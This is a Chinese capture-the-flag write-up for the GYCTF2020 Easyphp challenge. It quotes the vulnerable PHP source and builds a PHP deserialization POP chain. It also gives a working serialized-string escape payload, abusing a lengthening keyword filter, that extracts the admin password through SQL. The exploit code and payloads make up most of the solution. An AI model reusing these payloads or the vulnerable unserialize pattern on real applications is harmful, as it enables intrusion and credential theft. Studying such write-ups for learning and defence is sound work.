GYCTF2020-Easyphp

考点:php序列化pop链 序列化字符串逃逸

打开题目按照管理先扫描目录

使用dirsearch 扫描出来了 flag.php login.php

使用御剑什么都没有扫出来

使用dirbuster什么都没有

这个貌似是BUU平台问题……

打开题目

image-20201219105022481image-20201219105022481

发现登录框,尝试弱口令登录,并且爆破用户名与密码,查看图片

失败

查看大佬的wp,存在www.zip(没扫出来…………)

查看www.zip,解压后查看代码

关键代码

//update.php

$users=new User(); //创建类
$users->update(); // 调用user类的update函数
if($_SESSION['login']===1){
    require_once("flag.php");
    echo $flag;
}
 
// user类的update函数
public function update(){
    //调用了getNewinfo函数
    $Info=unserialize($this->getNewinfo());
    $age=$Info->age;
    $nickname=$Info->nickname;
    //定义了一个UpdateHelper类
    $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

// 输入点 age 与 nickname 参数可控
public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
    //创建了一个Info类并且序列化使用safe过滤
        return safe(serialize(new Info($age,$nickname)));
    }

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
} // 字符串替换



// Info 类
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    // 在对象上下文中调用不可访问的方法时触发
    // __call 中的参数,$name 需要调用的方法的名称,$arguments是一个数组,其中包含传递给方法$name的参数
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
        //此处$argument[0]就为age
    }
    
}

这里如何触发__call()函数

 // user类 
// 把类当成字符串使用时触发,返回值需要为字符串
  public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }

// 这里user类中调用了Info类中不存在的update函数,因此这里会自动调用__call()函数
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
//这里如果sql为类的话就会调用user的__string()函数

pop 链思路 :利用 UpdateHelper类的__destruct函数触发User类的__tostring函数再触发Info类的__call()函数

把 $this->CtrlCase实例化dbctrl 对象,再调用dbctrl类的login函数,通过查询语句把admin账户的密码查出来

//payload
<?php
class User
    {
    public $id;
    public $age = null;
    public $nickname = null;        
    }
class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;
    
    public function __construct($age,$nickname)
    {
        $this->age = $age;
        $this->nickname = $nickname;
    }
}

class UpdateHelper
{
    public $id;
    public $newinfo;
    public $sql;
    
    public function __construct($newInfo,$sql)
    {
        $newInfo = unserialize($newInfo);
        $upDate = new dbCtrl();        
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name = "admin";
    public $password;
    public $mysqli;
    public $token = "admin";    
}
$db = new dbCtrl();
$user = new User();
$info = new Info("lcdm123","lcdm123");
$updatehelper = new UpdateHelper("lcdm123","lcdm123");

$info->CtrlCase = $db;
$user->nickname = $info;
$user->age = "select password,id from user where username=?";
$updatehelper->sql = $user;

$realinfo = new Info("lcdm123","lcdm123");
$realinfo->CtrlCase = $updatehelper;
echo serialize($realinfo);

//O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

image-20201219174513688image-20201219174513688

image-20201219175110353image-20201219175110353

最终payload

序列化逃逸

这样构造的原因:将之前的序列化字符串删除info的部分(因为传入参数时会自动构造info),添加(";s:8:"CtrlCase";)的原因是因为传入参数的时候没有CtrlCase参数,需要自己提前构造好利用php反序列化字符串逃逸的方法传入

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:7:"lcdm123";s:8:"nickname";s:7:"lcdm123";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

传入payload,获取到密码的payload(需要手动删除后面的0-0)

image-20201219181053512image-20201219181053512

获得密码

image-20201219160536309image-20201219160536309

登录获取flag

image-20201219160523133image-20201219160523133

最后修改于:2021年03月31日 21:38

添加新评论